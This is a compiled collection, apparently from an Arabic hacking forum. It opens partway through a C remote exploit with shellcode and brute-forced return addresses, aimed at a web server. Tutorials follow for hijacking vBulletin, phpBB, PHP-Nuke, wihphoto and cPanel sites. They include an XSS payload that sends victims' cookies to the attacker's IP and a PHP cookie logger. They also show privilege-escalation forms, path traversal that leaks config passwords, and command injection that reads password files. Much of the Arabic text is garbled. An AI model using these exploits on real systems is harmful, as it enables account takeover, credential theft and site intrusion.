hostp = strtok(optarg, \\\":\\\"); 

if((portp = strtok(NULL, \\\":\\\")) == NULL) 
portp = \\\"80\\\"; 

break; 
 

/* predefined targets */ 
case \\'t\\': 

if(atoi(optarg) >= sizeof(targets)/sizeof(victim)) { 
printf(\\\"Invalid target\\\\n\\\"); 

return -1; 
} 
 

memcpy(&victim, &targets[atoi(optarg)], sizeof(victim)); 
break; 

 
/* bruteforce! */ 

case \\'b\\': 
bruteforce++; 

victim.type = \\\"Custom target\\\"; 
victim.retaddr = strtoul(optarg, NULL, 16); 

printf(\\\"Using 0x%lx as the baseadress while bruteforcing..\\\\n\\\", 
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victim.retaddr); 
break; 

 
case \\'d\\': 

victim.delta = atoi(optarg); 
printf(\\\"Using %d as delta\\\\n\\\", victim.delta); 

break; 
 

case \\'r\\': 
victim.repretaddr = atoi(optarg); 

printf(\\\"Repeating the return address %d times\\\\n\\\", 
victim.repretaddr); 

break; 
 

case \\'z\\': 
victim.repzero = atoi(optarg); 

printf(\\\"Number of zeroes will be %d\\\\n\\\", victim.repzero); 
break; 

 
case \\'o\\': 

bruteforce++; 
switch(*optarg) { 

case \\'f\\': 
victim.type = \\\"FreeBSD\\\"; 
victim.retaddr = 0x80a0000; 

victim.delta = -150; 
victim.repretaddr = 6; 

victim.repzero = 36; 
break; 

 
case \\'o\\': 

victim.type = \\\"OpenBSD\\\"; 
victim.retaddr = 0x80000; 

victim.delta = -146; 
victim.repretaddr = 6; 

victim.repzero = 36; 
break; 

 
case \\'n\\': 

victim.type = \\\"NetBSD\\\"; 
victim.retaddr = 0x080e0000; 

victim.delta = -90; 
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victim.repretaddr = 5; 
victim.repzero = 42; 

break; 
 

default: 
printf(\\\"[-] Better luck next time!\\\\n\\\"); 

break; 
} 

break; 
 

/* optional stuff */ 
case \\'w\\': 

sc_timeout = atoi(optarg); 
printf(\\\"Waiting maximum %d seconds for replies from 

shellcode\\\\n\\\", sc_timeout); 
break; 

 
case \\'c\\': 

cmdz = optarg; 
break; 

 
default: 
usage(); 

break; 
} 
} 
 

if(!victim.delta || !victim.retaddr || !victim.repretaddr || !victim.repzero) { 
printf(\\\"[-] Incomplete target. At least 1 argument is missing (nmap 

style!!)\\\\n\\\"); 
return -1; 

} 
 

printf(\\\"[*] Resolving target host.. \\\"); 
fflush(stdout); 

he = gethostbyname(hostp); 
if(he) 

memcpy(&ia.s_addr, he->h_addr, 4); 
else if((ia.s_addr = inet_addr(hostp)) == INADDR_ANY) { 

printf(\\\"There\\'z no %s on this side of the Net!\\\\n\\\", hostp); 
return -1; 

} 
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printf(\\\"%s\\\\n\\\", inet_ntoa(ia)); 

 
 

srand(getpid()); 
signal(SIGPIPE, SIG_IGN); 

for(owned = 0, progress = 0;;victim.retaddr += RET_ADDR_INC) { 
/* skip invalid return adresses */ 

if(memchr(&victim.retaddr, 0x0a, 4) || memchr(&victim.retaddr, 0x0d, 4)) 
continue; 

 
 

sock = socket(PF_INET, SOCK_STREAM, 0); 
sin.sin_family = PF_INET; 

sin.sin_addr.s_addr = ia.s_addr; 
sin.sin_port = htons(atoi(portp)); 

if(!progress) 
printf(\\\"[*] Connecting.. \\\"); 

 
fflush(stdout); 

if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) { 
perror(\\\"connect()\\\"); 

exit(1); 
} 
 

if(!progress) 
printf(\\\"connected!\\\\n\\\"); 

 
 

p = expbuf = malloc(8192 + ((PADSIZE_3 + NOPCOUNT + 1024) * 
REP_SHELLCODE) 

+ ((PADSIZE_1 + (victim.repretaddr * 4) + victim.repzero 
+ 1024) * REP_POPULATOR)); 

 
PUT_STRING(\\\"GET / HTTP/1.1\\\\r\\\\nHost: \\\" HOST_PARAM 

\\\"\\\\r\\\\n\\\"); 
 

for (i = 0; i < REP_SHELLCODE; i++) { 
PUT_STRING(\\\"X-\\\"); 

PUT_BYTES(PADSIZE_3, PADDING_3); 
PUT_STRING(\\\": \\\"); 

PUT_BYTES(NOPCOUNT, NOP); 
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memcpy(p, shellcode, sizeof(shellcode) - 1); 
p += sizeof(shellcode) - 1; 

PUT_STRING(\\\"\\\\r\\\\n\\\"); 
} 
 

for (i = 0; i < REP_POPULATOR; i++) { 
PUT_STRING(\\\"X-\\\"); 

PUT_BYTES(PADSIZE_1, PADDING_1); 
PUT_STRING(\\\": \\\"); 

for (j = 0; j < victim.repretaddr; j++) { 
*p++ = victim.retaddr & 0xff; 

*p++ = (victim.retaddr >> 8) & 0xff; 
*p++ = (victim.retaddr >> 16) & 0xff; 
*p++ = (victim.retaddr >> 24) & 0xff; 

} 
 

PUT_BYTES(victim.repzero, 0); 
PUT_STRING(\\\"\\\\r\\\\n\\\"); 

} 
 

PUT_STRING(\\\"Transfer-Encoding: chunked\\\\r\\\\n\\\"); 
snprintf(buf, sizeof(buf) - 1, \\\"\\\\r\\\\n%x\\\\r\\\\n\\\", PADSIZE_2); 

PUT_STRING(buf); 
PUT_BYTES(PADSIZE_2, PADDING_2); 

snprintf(buf, sizeof(buf) - 1, \\\"\\\\r\\\\n%x\\\\r\\\\n\\\", victim.delta); 
PUT_STRING(buf); 

 
if(!shown_length) { 

printf(\\\"[*] Exploit output is %u bytes\\\\n\\\", (unsigned int)(p - 
expbuf)); 

shown_length = 1; 
} 
 

write(sock, expbuf, p - expbuf); 
 

progress++; 
if((progress%70) == 0) 

progress = 1; 
 

if(progress == 1) { 
printf(\\\"\\\\r[*] Currently using retaddr 0x%lx\\\", victim.retaddr); 

for(i = 0; i < 40; i ++) 
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printf(\\\" \\\"); 
printf(\\\"\\\\n\\\"); 

if(bruteforce) 
putchar(\\';\\'); 

} 
else 

putchar(((rand()>>8)%2)? \\'P\\': \\'p\\'); 
 
 

fflush(stdout); 
responses = 0; 

while (1) { 
fd_set fds; 

int n; 
struct timeval tv; 

 
tv.tv_sec = sc_timeout; 

tv.tv_usec = 0; 
 

FD_ZERO(&fds); 
FD_SET(0, &fds); 

FD_SET(sock, &fds); 
 

memset(buf, 0, sizeof(buf)); 
if(select(sock + 1, &fds, NULL, NULL, owned? NULL : &tv) > 0) { 

if(FD_ISSET(sock, &fds)) { 
if((n = read(sock, buf, sizeof(buf) - 1)) < 0) 

break; 
 

if(n >= 1) 
{ 

if(!owned) 
{ 

for(i = 0; i < n; i ++) 
if(buf[i] == \\'G\\') 

responses ++; 
else 

responses = 0; 
if(responses >= 2) 

{ 
owned = 1; 

write(sock, \\\"O\\\", 1); 
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write(sock, cmdz, strlen(cmdz)); 
printf(\\\" it\\'s a TURKEY: type=%s, delta=%d, retaddr=0x%lx, 
repretaddr=%d, repzero=%d\\\\n\\\", victim.type, victim.delta, 

victim.retaddr, victim.repretaddr, victim.repzero); 
printf(\\\"Experts say this isn\\'t exploitable, so nothing will happen 

now: \\\"); 
fflush(stdout); 

} 
} else 

write(1, buf, n); 
} 
} 
 

if(FD_ISSET(0, &fds)) { 
if((n = read(0, buf, sizeof(buf) - 1)) < 0) 

exit(1); 
 

write(sock, buf, n); 
} 
 
} 
 

if(!owned) 
break; 

} 
 

free(expbuf); 
close(sock); 

 
if(owned) 
return 0; 

 
if(!bruteforce) { 

fprintf(stderr, \\\"Ooops.. hehehe!\\\\n\\\"); 
return -1; 

} 
} 
 

return 0; 
} 
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ختبارها من قبل (( ریبها وإ ضعها لكم هنا  قبل angels-bytes.com قد تم تج  ))و
 

ج رنام ل الب  وهذي وصلة تنزی
19=info&id=tools&action=?show/com.bytes-angels.www://http  
  

.....  
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  "2,2,0vBulletinاختراق المنتدیات من نوع " 
  

$$$$$$  
  ولقـنــمــ

$$$$$$  
  

---------   
   :مقدمة 

---------   
  

ضوع  ق الـ : المو خترا    vBulletinا
ت  ر على جهازك الشخصي (WebServer: المتطلبا رف ت ) + تركیب سی    ) .اكسبلورر(متصفح انترن
   متوسط: المستوى 

  
حظة  ت للـ : ملا ریقة لس ت !!  فقط vBulletinهذه الط ى من المنتدیا ر خ ربها على انواع ا    .یمكن ان تج

  
  

----------   
   :الثغرة 

----------   
  

ل الى عدة اقسام  ریقة العم ط ضافة الى جعل .. تنقسم  ق الكوكیز بالا ر ت الخبیثة التي تس ض السكربتا أولا بع
   المنتدى یستقبل
ت من م ء بیانا طي خا     ..HTMLلكن یشترط ان یسمح المنتدى بأكواد الـ .. كان 

  
ضوع جدید او رد  ق بین السطور  ) .. HTMLفي منتدى یدعم الـ (قم بكتابة مو ضوع والص ثم اكتب اي مو

   :هذا الكود 
>script>document.write('<img   

src="http://my_ip_address/'+document.cookie+'">';</script<   
  
ر الـ مع حظة تغی ص بك IP الى رقم الـ IP Adress ملا    . الخا

ر في  ضعه سیقوم بتنفیذ الاوام ت الذي قمنا بو حة فان السكرب حتوى الصف ءة م ص ما بقرا وعندما یقوم شخ
ءة جزء حتوي على الباسورد الخاصة بالمنتدى  جهاز وقرا ت الكوكیز التي ت حد ملفا ت .. من ا ثم یقوم السكرب
ل هذه السط حوی حظة انه یجب ان یكون على جهازي (الاي بي الذي قمنا بكتابته سابقا  ور الى رقمبت مع ملا

ر مثل  رف رها Apache او IISسی    ) . او غی
ف الـ  ح قم بفتح مل حتویه جهازك Logوبعد ان تتم العملیة بنجا ر الذي ی رف ص بالسی    .. الخا

ر اباتشي  رف ل لو كان السی ح المجلد .. مثا ختر Apcheفتا ختر logs وا     .Acces Log وا
ر  رف طلبتها من السی ر التي  خ.. ستجد جمیع الاوام    إل

ص بالباسورد  حث عن الكود الخا ل .. اب    :مثا
GET/ bbuserid=86;%20bbpassword=dd6169d68822a116cd97e1fb  

ddf90622;%20sessionhash=a   
٤٧١٩cd620534914930b86839c4bb5f8;%20bbthreadview[54  
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   ٢٠bblastvi%؛١٠١٢٤٤٤٠٦٤]=٢٠

sit=1011983161   
ر قلیلا الان     این الباسورد ؟؟.. فك

رها  ریقة مشفرة یصعب كس ل ؟.. الباسورد موجودة لكن بط ح    اذن مال
خ الكود الذي وجدته والصقه في المتصفح     بهذا الشكل.. قم بنس

http://www.victim.com/vb/index.php?bbuserid=[userid]&bbpassword=[
password hash[   

اـ : " ستجد عبارة  ت منه الكوكیز( أهلا بعودتك ی رق    ....) "اسم الذي س
ر المنتدى  حكم بكل شي وكانك مدی ت الان تستطیع الت حالة ان ت منه الكوكیز(في هذه ال رق    ) ..الذي س

حكم  حة الت خول الى لو رور للد حتاج الى كلمة الم حكم(اذهب الى .. لكننا ن ل ا) الت رید الالكتروني وقم بتعدی لب
ص ریدك الخا روج  الى ب ل الخ وعندها  .. Forgot Passwordثم اذهب الى اداة .. وثم قم بتسجی

حتوي باسورد الادمن  رید ی ل ب    ..تستطیع استقبا
  

م ما یجب ان تفعله بعد ذلك  ء !! اعتقد انك تعل حكم وافعل ما تشا حة الت ل الى لو خ    .. !اد
  

------------   
ل ح   -: ال
-----------   

  
ق الـ  حمایة من هذه الثغرة قم باغلا ل الخاصة + المنتدى ( في HTMLلل رسائ + ... التقویم + التواقیع + ال

(   
ضع كود ( خلاله و ت HTMLواي منفذ یمكن من  صورة كان    ) باي 

  
طة بامكانك استخدامه بدل كلمة  .. IMGكما یجب اغلا كود الـ  ت > script<لانه ببسا ضع > img<فاذا و

   او> Demon<و ا
ر  خ ت بشكل او با ى فانه سیتم تنفیذ السكرب ر خ ق هذه المنافذ ... اي كلمة ا حذرا واغل    .لذا كن 

Be Secret .. Dont' be Lamer.    
  

ف الثغرة  خ اكتشا    ٢٠٠٢ - ١ - ٣١: تاری
ربتها على الاصدار  ح ٢٫٢٫٠تم تج ل بنجا   .... وهي تعم
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  "vBulletin 2,2,9ثغرة في منتدیات" 
  

$$$$$$$$$$$$$$$  
  رــــ<>دـــ<>ـــال: الكاتب

$$$$$$$$$$$$$$$$  
  

ت حایة المنتدیا رة جدا وتؤدي ب خطی  ....vBulletin 2.2.9 هذه الثغرة 
 

حها كالتالي  :المهم شر
 
حفظه بالمفكرة -١ خ الكود وا  php بامتداد انس

<?PHP  
// vBulletin XSS Injection Vulnerability: Exploit  

// ---  
// Coded By : Sp.IC (SpeedICNet@Hotmail.Com).  

// Descrption: Fetching vBulletin's cookies and storing it into a log file.  
 

// Variables:  
 

$LogFile = "Cookies.Log";  
 

// Functions:  
/*  

If ($HTTP_GET_VARS['Action'] = "Log") {  
$Header = "<!--";  
$Footer = "--->";  

}  
Else {  

 
$Header = "";  
$Footer = "";  

}  
Print ($Header);  

*/  
Print ("<Title>vBulletin XSS Injection Vulnerability: Exploit</Title>");  

Print ("<Pre>");  
Print ("<Center>");  

Print ("<B>vBulletin XSS Injection Vulnerability: Exploit</B>\n");  
Print ("Coded By: <B><A 

Href=\"MailTo:SpeedICNet@Hotmail.Com\">Sp.IC</A></B><Hr 
Width=\"20%\">");  

/*  
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Print ($Footer);  
*/  
 

Switch ($HTTP_GET_VARS['Action']) {  
Case "Log":  

 
$Data = $HTTP_GET_VARS['Cookie'];  

$Data = StrStr ($Data, SubStr ($Data, BCAdd (0x0D, StrLen (DecHex 
(MD5 (NULL))))));  

$Log = FOpen ($LogFile, "a+");  
FWrite ($Log, Trim ($Data) . "\n");  

FClose ($Log);  
Print ("<Meta HTTP-Equiv=\"Refresh\" Content=\"0; URL=" . 

$HTTP_SERVER_VARS['HTTP_REFERER'] . "\">");  
Break;  

Case "List":  
If (!File_Exists ($LogFile) || !In_Array ($Records)) {  

Print ("<Br><Br><B>There are No Records</B></Center></Pre>");  
Exit ();  

}  
Else {  

Print ("</Center></Pre>");  
$Records = Array_UniQue (File ($LogFile));  

Print ("<Pre>");  
Print ("<B>.:: Statics</B>\n");  

Print ("\n");  
Print ("o Logged Records : <B>" . Count (File ($LogFile)) . "</B>\n");  

Print ("o Listed Records : <B>" . Count ($Records) . " </B>[Not 
Counting Duplicates]\n");  

Print ("\n");  
 

Print ("<B>.:: Options</B>\n");  
Print ("\n");  

 
If (Count (File ($LogFile)) > 0) {  

$Link['Download'] = "[<A Href=\"" . $LogFile . "\">Download</A>]";  
}  

Else{  
$Link['Download'] = "[No Records in Log]";  

}  
 

Print ("o Download Log : " . $Link['Download'] . "\n");  
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Print ("o Clear Records : [<A Href=\"" . $SCRIPT_PATH. 
"?Action=Delete\">Y</A>]\n");  

Print ("\n");  
Print ("<B>.:: Records</B>\n");  

Print ("\n");  
 

While (List ($Line[0], $Line[1]) = Each ($Records)) {  
Print ("<B>" . $Line[0] . ": </B>" . $Line[1]);  

}  
}  
 

Print ("</Pre>");  
Break;  

Case "Delete":  
@UnLink ($LogFile);  

Print ("<Br><Br><B>Deleted Succsesfuly</B></Center></Pre>") Or Die 
("<Br><Br><B>Error: Cannot Delete Log</B></Center></Pre>");  

Print ("<Meta HTTP-Equiv=\"Refresh\" Content=\"3; URL=" . 
$HTTP_SERVER_VARS['HTTP_REFERER'] . "\">");  

Break;  
}  

?>  
ف لموقع یدعم -٢   php ارفع المل
حیة یضغط على هذا -٣ ض  اللینك اجعل ال

member2.php?s=[Session]&action=viewsubscription&perpage=[Script 
Code] 
 [script code] واستبدال

  بهذا
<Script>location='Http://[حمیله مكان ف الذي تم ت المل

]?Action=Log&Cookie='+(document.cookie);</Script>  
  إذهب ألى هذا العنوان -4

%20://httpحمیله /مكان ف الذي تم ت   List= ?Actionالمل
  

....  
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  " 2.0.0phpbbاختراق منتدیات " 
  

$$$$$$$$$  
ل وـ ــــ   مــنـــقـــ

$$$$$$$$$  
 

phpbb 2.0.0  
    vbوهو شبیه بالـ

  
ر تااافه وهو سهل جدا بل    یعتب

  
الله  الله سمو با   یا

  
PhpBB2  

ف     admin_ug_auth.phpفي مل
  :الوصف

ف العام على المنتدى ر ر والمش خذ تصریح بأن تكون مدی خلال هذه الثغرة أن تأ   یمكنك من 
ت حكم متى شئ حة الت خول الى لو   وبذلك یمكنك الد

  :الأصدار
٢٫٠٫٠  

ربة الثغرة اولا سجل بالمنتدى   لتج
حفظ رقم عض   ویتك بالمنتدى ثم ا

خ مایلي الیها   بعدها افتح المفكرة وانس
  
>html<  
>head<  
>/head<  
>body<  
  
>form method="post"   

action="http://www.domain_name/board_directory/admin/admin_ug_au
th.php"<  

User Level:> select name="userlevel"<  
>option value="admin"<Administrator>/option<  
>option value="user"<User>/option></select<  
>input type="hidden" name="private[1]" value="0"<  
>input type="hidden" name="moderator[1]" value="0"<  
>input type="hidden" name="mode" value="user"<  
>input type="hidden" name="adv" value=""<  

User Number:> input type="text" name="u" size="5"<  
>input type="submit" name="submit" value="Submit"<  
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>/form<  
>/body<  
>/html<  
  

ف  عدل هذا العنوان الى عنوان الموقع المستهد
board_directory/domain_name.www://http  

خفظه بامتداد   htmlا
ف تجد حفظها سو ت ب حة التي قم ل الى الصف خ   عندما تد

ختیار التصریح الذي تریده ختر تصریح قائمة والتي یتم ا ق الثغرة ا   Administrator لتطبی
ربع الجانبي شع رقم عضویتك بالمنتدى   ثم بالم

ضغط زر    submitأ
رور الخاصة بك ضع اسم المستخدم وكلمة الم خول  ل الد ف تاتیك شاشة تسجی   بعدها سو

حكم المنتدى  حة ت ف تجد نفسك في لو   أفعل ماترید المنتدى منتداك!! ثم سو
قوسلاااامتكم شفتو سه ت انزله الا وعلیه تطبی حبی س تعرفو ما  حه منقول ب صراا ت الدرس وهو    ول

  
  شووفوو المنتدا ذا 

  
/ca.xos.forums://http  

  
ل المواقع البااقیه الله عقبا حمد  ر وال       ...تدم
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 " في المواقع phpثغرة جمیلة في "
  

$$$$$$$$$$$$$$$$  
  MaXhAk2000:الكاتب

$$$$$$$$$$$$$$$$ 
  

حث العشوائي وهي متوفره في اغلب  ره وسهله جدا وهي تعتمد على الب ر هذه الثغرة جمیله ومیس تعتب
  ...المواقع المستهدفه
  بسم االله نبدأ،،،

حث قي  ره الب رمهمتنا الأساسیة في هذه الثغ خ حث ا رك ب ح   جوجل او في أي م
ر من المواقع المصابه بها  ج لنا عدد كبییییییی حث عن كلمه وسینت ف نب   !!!سو

حد منها " "powered by wihphotoاذهب الى جوجل واكتب  ختر أي وا ر ا ف یجد لنا مواقع كثی سو
  بعد ذلك علیك 

ف التالي من عنوان الموقع   حذ  php.index/wihphoto/com.*****.www://httpب
ف هذه الكلمه  حذ ف نقوم ب  ونسبدلها بهذا العنوان index.phpسو

sendphoto.php?album=..&pic=config.inc.php  
ج له  ف الكونف ل مل رید الذي ترید ارسا ل الب خا حه یطلب فیها اد صف ر لنا  ف تظه رید مثلا ..  سو اكتب ب

com.@hotmail2000maxhak 
ضغط علیه وشغله  ق ا رف ف م ف تصلك رساله  ستجد فیها مل ر ذواني سو ر ### انتظ ح یجیك كلاام كثی را

ء هو هذا  ر شي ح نستفید منه اكث ء الي را   الشي
 

// MySQL-DB Einstellungen 
// ====================== 
$database = "usr_web1_5"; //MySQL Datenbankname       >>> اسم قاعدة
ت                                                                                                              البیانا
 
$sqlhost = "localhost"; //MySQL Hostname                         >>> دة عنوان قاع

ت خارجي یعني ماهي على الموقع (البیانا حیان یكون عنوانها  ض الأ )                                     في بع
                                                                                                               
$sqluser = "web1"; //MySQL Username                               >>> اسم المستخدم
ت                                                                                                   ق قاعدة البیانا ح  
 
$sqlpass = "q+q27rym"; //MySQL Passwort                        >>> الباسورد تبع

ت                                                                                                         قاعدة البیانا
 
 
// Passwort zum hinzufügen von Bildinformationstext 
// ========================= 
======================= 
$adminpass= "galleriemaster";                                            >>> الباسورد تبع
ر الصور                                                                                                          مدی
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ل على  خ ت او ند ل على قاعدة البیانا خ حین ند حتاجها كلها الي باقي علینا د ت الي ن اوكي الآن جبنا المعلوما
خول على الصور نتبع   ::الینك التاليالصور للد

php.admin/wihphoto/com.*****.www://http 
ت ونعدل في الصور زي مانبغى  ر قاعدة البیانا ق مدی ح ضع الباسورد    ....ون

ض ختراقه كاملا  هناك بع ردیدون امتلاك الموقع كاملا او ا ص الذین ی ض الأشخا ق لفعل ذلك هناك بع ر  الط
:::  
ف تي بي / أولا ق الأ ری ط ل عن  خ ق الصور FTPاد ح ر واسم المستخدم مو  ق المدی ح ل الباسورد  خ    وند

ج ف الكونف ق مل ح ق للباسورد  حیان تنجح اذا كان الأسم والباسورد مطاب ض الأ   .بع
ریقها هناك/ ثانیا ط ت والعب فیها وامتلاك الموقع عن  خول لقاعدة البیانا ق الد ری ط ج تستطیع من عن  رام  ب

ج  رنام ت مثل ب خول على قاعدة البیانا ق  MySQL Frontخلالها الد ری ط ج جید أو عن  رنام  وهو ب
ج  رام ق والب ری رها من الط س وغی   ....الأكس
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  " php nukeثغرة في " 
  

$$$$$$$$  
ر :  الكاتب   ایس

$$$$$$$$  

ره في ال ت اقولكم علیها  php nuke فیه ثغ ل..حبی ره دي تتیح لك تنفیذ اكواد الهتم و الجافا بدل  الثغ
 .......مكان الصوره الشخصیه 

 
ر ف انكم اول ما تقروا السط حه  انا عار ر الالفاظ ابا حیشتمني باكث س عادي انا متعود -الاول اكید اغلبكم   - ب

خلنا هنا عشان یقولنا تنفیذ اكو و یقول ایه ل و جافا بدل الصوره الشخصیهده باه هو مد س !!!! ؟؟؟ اد هتم ب
 !!!اما عبیط اوي !!! ؟؟؟
 

حقولكم ممكن تعملوا ضوع  ر المو خ  .....بیها ایه  لكن في ا
 

ره كالتالي  ل زي مواقع: ( المهم ان الثغ حاول اني اعم ره  سا ض ثغ حترمه لم تیجي تعر  )السیكیوریتي الم
 

ت المصابه   :الاصدارا
 

 PHP Nuke versionh 6.0 و الاقل منها 
 

 :الاستخدام 
 

ت في تنفیذ صورهم الشخصیه تستخدم كما قل خلال مكان  ت من  ل و الجافا سكریب  .اكواد الهتم
 

ص عام ره ملخ  :للثغ
 

صوره ختیار  ل في المجله فانه یطالب با خلال مجموعه  اي مستخدم عندم یقوم بالتسجی شخصیه و ذلك من 
 .... images/forum/avatars/ من الصور الموجوده في المجلد هذا

 
ضع اسم الصوره في الداتا بیز  ع  و لكنها لا تقوم.. عندئذ تقوم المجله بو ضع اي كود اي انه اذا استطا بو

ع ان حصل على كود فورم المجله و استطا ختیار الصوره الشخصیه الى  اي یوزر ان ی ق ا صندو ر  یغی
ق ل اللي هوه عایزه یكتب ك اذن اعتقد انه ممكن ان..عادي  text صندو  !!!!ود الهتم

ت  :الاكسبلوی
حه اولا علیك ن تقوم صف خول بعد ذلك و الذهاب الى  ل في المجله و الد و منها  Your Account بالتسجی

حه الذهاب صف خلال Your Info الى  حه من   و view source بعد ذلك علیك باظهار سورس كود الصف
حث عن كلمه  uid الب

 
حاجه زي ك  :ده لازم تلاقي 

 
<input type="hidden" name="uid" value="2111">  
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ت رقم الاي دي اللي هوه رف ت ع ل كان  كده یبقى ان   ...٢١١١في المثا
ت باد و تسمیه حفظ الكود ده في النو ر html اي اسم بامتداد علیك بعد ذلك نك ت حظه تغیی  مع ملا

/kesitenu://http  ف  ......:الى عنوان المجله الهد
 

<!-- START CODE --!>  
<form name="Register"  

action="http://NUKEDSITE/modules.php?name=Your_Account" 
method="post">  

 
<b>Code ('">[code]<b ')</b><input type="text" 

name="user_avatar" size="30"  
maxlength="30"><br><br>  

 
 

<b>Username</b><input type="text" name="uname" size="30" 
 

maxlength="255"><br><b>User ID:<input type="text" 
name="uid"  

size="30"><input type="hidden" name="op" 
value="saveuser"><input  

type="submit" value="Save Changes"></form>  
<!-- END CODE --!>  

 
 
 

ف ال و الان ل مل راعاه.. هذا  htmlعلیك تشغی خانه علیك كتابه الكود المطلووب تنفیذه مع م انه یجب  اول 
 :ن یبدأ بالعلامه 

 
"> 
 

  و ممكن ینتهي بالعلامه
<b 
 

ض   الیوزر و رقم الاي دي و بعدین ضع بعد كده اسم...حتى لا تجد اي مشاكل في الكود عند العر
submit ص ف تجد نفسك في  حهسو  !!!!و كده الكود تم تشغیله .. الخاصه بك Your Account ف

 
ل للي ممكن تكتبه مثلا  : مثا

 
"><h1>TESTING</h1><b  

 
حیطبع الكلمه صورتك الشخصیه  TESTING طبعا ده   ....!!مكان 

 



 

  ٢ ٤٥  

Sites UnDeR UtTaCk  hi_HaCkEr & MaXhAk2000  www.3asfh.com/vb  

  خلي بالك ان فیه مسافه بعد العلامه
 

"<b 
 

روكین كود  ف تجد ب  ..خلي بالك منها والا سو
 

حد  .... كراكتر ٣٠لكود اللي ممكن انك تشغله هو ل اقصى 
ت عایز اقوله انك ت اللي انا كن را ق كود  xss ممكن تنفذ ثغ ف تنفذها بسبب اغلا ش عار ت م حاجه ان او اي 

ل ایاه  ر ؟؟ =)الهتم س اكث ل لی ت راجع الدرس هذا كمثا   ...لمزید من المعلوما
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 " Bandmin  1.4 في ثغره" 
  

$$$$$$$$$$$$  
  حزم الظامي :الكاتب

$$$$$$$$$$$$  
  

م حی ر حمن ال ر  . بسم االله ال
 

(( cPanel exploit not being fixed )) 
 

ره حقیقة البدایة هذه الثغ رها  ال ت انش س من أیام وقل حبیب هیك خي ال تم اكتشافها من مدة وقد تناقشتها مع أ
حاب المواقع منها  من باب حذر اص  ...الفائدة ولی

 
ر الباندویث  ره هي في مدی ل كما اعتدنا هذه الایام على  ( Bandmin 1.4 ) الثغ ره سي بان وهي ثغ

ر الجدیدة من سي ط ل  المخا  ...بان
ریة  ت شه حصائیا ل وإ ج یعطیك تفاصی رنام ریقه معرفة... وهذه الب ط جمیع المواقع على الخادم  یمكن عن 

ى ر خ ق أ ر ر بط ضاً ویمكن أن تستثم   أی
 

ل لها  ا تریدعموما إذ ره فهذا مثا  ...تنفذ الثغ
 
/bandwidth/con.yourdomain://http  

 
ره ق الثغ ریقة إغلا ط  :كالتالي  و

 
ف ضع مل ختصار   ... في هذا الفولدر ( htaccess. ) وبكل ا

/usr/local/bandmin/htdocs  
 

رهوإلیكم هذه  ل عن هذه الثغ  ...... التفاصی
 

************************* 
 

Notice: 
Any Resellers or Dedicated hosts that use cPanel you should be aware 

that there is still an exploit people are using to see what domains are 
hosted on the server.  

 
If you have cPanel/WHM on your server, just go to your domain and put 

. after it/ bandwidth//bandwidth/con.yourdomain://http Hopefully you 
will get a “ You don't have permission to access /bandwidth/ on this 

server”  message or it will ask for a password.  
 

Otherwise you will be at a page titled “ Bandmin 1.4 (what ever 
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version)”  from here you can access the monthly stats with a list of all 
domains with over 1MB of transfer.  

 
The fix are listed below: 

Make a TXT file with these lines in it: Use your servers IP# for the XXX 
 

allow from xxx.xxx.xxx.xxx 
deny from all 

 
Name it .htaccess and place it in the servers /usr/local/bandmin/htdocs 
directory. This will block all but the IP that you use in the .htaccess file. 

 
 

************************* 
  

ل التي لم یتم ذكرها لكن اغلب المواقع  اغلتها الان اما فیوجد ثغرة السي بان
 

cgi-sys/guestbook.cgi?user=cpanel&template 
 

رابط بعد اسم الموقع تكتب هذا   ال
س | =ولكن بعد علامة  ر باللینك   |تكتب الام
ض ر لأستعرا رف  باسورد موقع على السی

 مثلا
/cgi-sys/guestbook.cgi?user=cpanel&template=|cat 

/home/XXX/public_html/_vti_pvt/service.pwd| 
 

ر لكي اسهل حظة وهذا الام ف مع ملا ض هذا المل ض استعرا  على البع
ls ][ف ل المل خ ض ما بدا  ][ وهو استعرا

cat ][ت ء كان ف سوا ل مل خ حه دا صف ض   ][html او php وهو استعرا
vi ][ ى ر حه ویم ت حیاتك في رؤیة هذه الصف رصلا ق هذا الام ری ط   كنك ذا لك عن 

ls -al ر ض هذا الام ل هو استعرا ت تقراه بالتفصی ت ولو جی ر لك الملفا ضه  ی
ت التي یسمح لك ل رؤیة الملفا ف اقولك تعا ت تقول كی رؤیتها لو جی   ب

ls ض ف al هو استعرا ر لك امام كل مل ضه ت اذا كان وهو ی ت فراغا   عد
غ فیها    فما تقدر تشوفه× اول فرا

 
 
ح لال خ ر ین بد ل للأم ل مم    معاكم في تفصی
  

][=========][ 
 

cat /home/XXX/public_html/_vti_pvt/service.pwd  
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 cat ][  ت حا ض الصف  ][زي ما ذكرنا سابقا اللي هواستعرا
 home ][س زیه زي هو ر لینك رف   D عباره عن قسم في هاردیسك سی

 ][في الویندوز  C او
public_html ][  ف تي بي لايهذا هو عباره ل اي ا خ ف موجود دا   موقع  عن مل

حظو ت ولا حا حط الصف خله تن ف مهم لانه دا   في الدنیا وهذا المل
ت الـ انه موجود ر كل ملفا رف   لكل المواقع public_htmlفي السی

ر  رف  ][اللي على السی
_vti_pvt ][  ج ت بی رون ت الف ف موجوده فیه ملفا  ][وهو مل

service.pwd ][  ف ال توهو المل ر مع لي بیفیدك في رؤیة كل باسوردا رف   السی
ره  س بتكون مشف   ][یوزراتها ب

 
 XXX ][ ف ت مل ر وترید رؤی رف   اسم الموقع الموجود على السی

ج فیه  ت بی رون    ][الف
  

----------------------- 
طبعا ت  ره وبعد وجوود الباسوردا   بتلااقیها مشف

ت تلانها مل service.pwd لانها عباره عن ملفا رون ت الف ج فا  بی
ح تلاقي  :اذا را

# -FrontPage- 
adshhhhg:T_h1rTAnSmwck 
advrsgrent:yTPvsh2SKGI46 

# -FrontPage- 
sfjhsdlj:KH5xpD5HGFQio 

# -FrontPage- 
sdfQKG0nPulR5aY 

# -FrontPage- 
afsdfgrica:7njMXh9/HImTA 

# -FrontPage- 
aftergsdfsgnoo:wyXqflo6kr7TI 

 
ح تلقاه زي  ترا ر كذا كذا عاد ان ر بتفك التشفی ج جوهن ذا ریب رنام  وشطارتك بب

------------------------   
ت طیب انا جب حد موسوس بیقول في نفسه  حین بیجي وا ت  اوكي ال ت+ الباسوردا  الیوزرا

ف اسم الموقع  ر ف اع  ))ذي  فعلا الوسوسه لها فایدة الیومین(( كی
حبیبي ل   اوكي اقولك تعا

  
ر ذا    اكتب الام

  
cat /etc/httpd/apache/conf/httpd.conf   

 
ر في هذا رف ره في السی ره وصغی ض لك كل كبی ح یستعر ف را  المل

ر ح هذا الام ر   :نبتدي بش
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 cat ][سااااااااااااابقاً تم ذكره][ 
